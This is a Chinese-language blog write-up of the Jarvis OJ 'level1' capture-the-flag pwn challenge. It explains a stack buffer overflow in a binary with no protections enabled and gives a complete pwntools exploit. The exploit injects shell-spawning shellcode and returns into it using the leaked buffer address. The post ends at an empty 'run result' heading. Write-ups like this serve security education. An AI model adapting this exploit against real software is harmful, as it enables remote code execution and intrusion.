Jarvis OJ level1 writeup

原创

PLpa、 于 2019-07-07 16:54:54 发布 103 收藏

文章标签： pwn 栈溢出

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43986365/article/details/94999794

版权

拿到题目，首先我们检查一下程序的保护：

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
```

可以看出来，程序什么保护也没开，既然没开NX保护，说明堆栈上的代码可以执行。

我们打开IDA反汇编一下：

```
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}
```

我们看到这里可输入一个buf，并且题目把buf的地址也输出到屏幕上，我们就可以控制buf植入shell code了，再返回调用即可。

```
p.recvuntil("this:")
buf_addr=int(p.recv(10),16)
shellcode=asm(shellcraft.sh())
```

首先我们接受buf的地址，把它保存起来。

这里有一个要注意的地方，就是这里传出来的地址是字符串类型的，我们需要把它转换成整数类型：

int(p.recv(10),16)

这条语句就是把字符串转换成16进制的整数。

然后我们构造payload就可以了。

完整的exp如下：

```
#!/usr/bin/env python
from pwn import *
p=remote('pwn2.jarvisoj.com',9877)
p.recvuntil("this:")
buf_addr=int(p.recv(10),16)
shellcode=asm(shellcraft.sh())
payload=shellcode
payload=payload.ljust(0x8c)
payload+=p32(buf_addr)
p.sendline(payload)
p.interactive()
```

运行结果：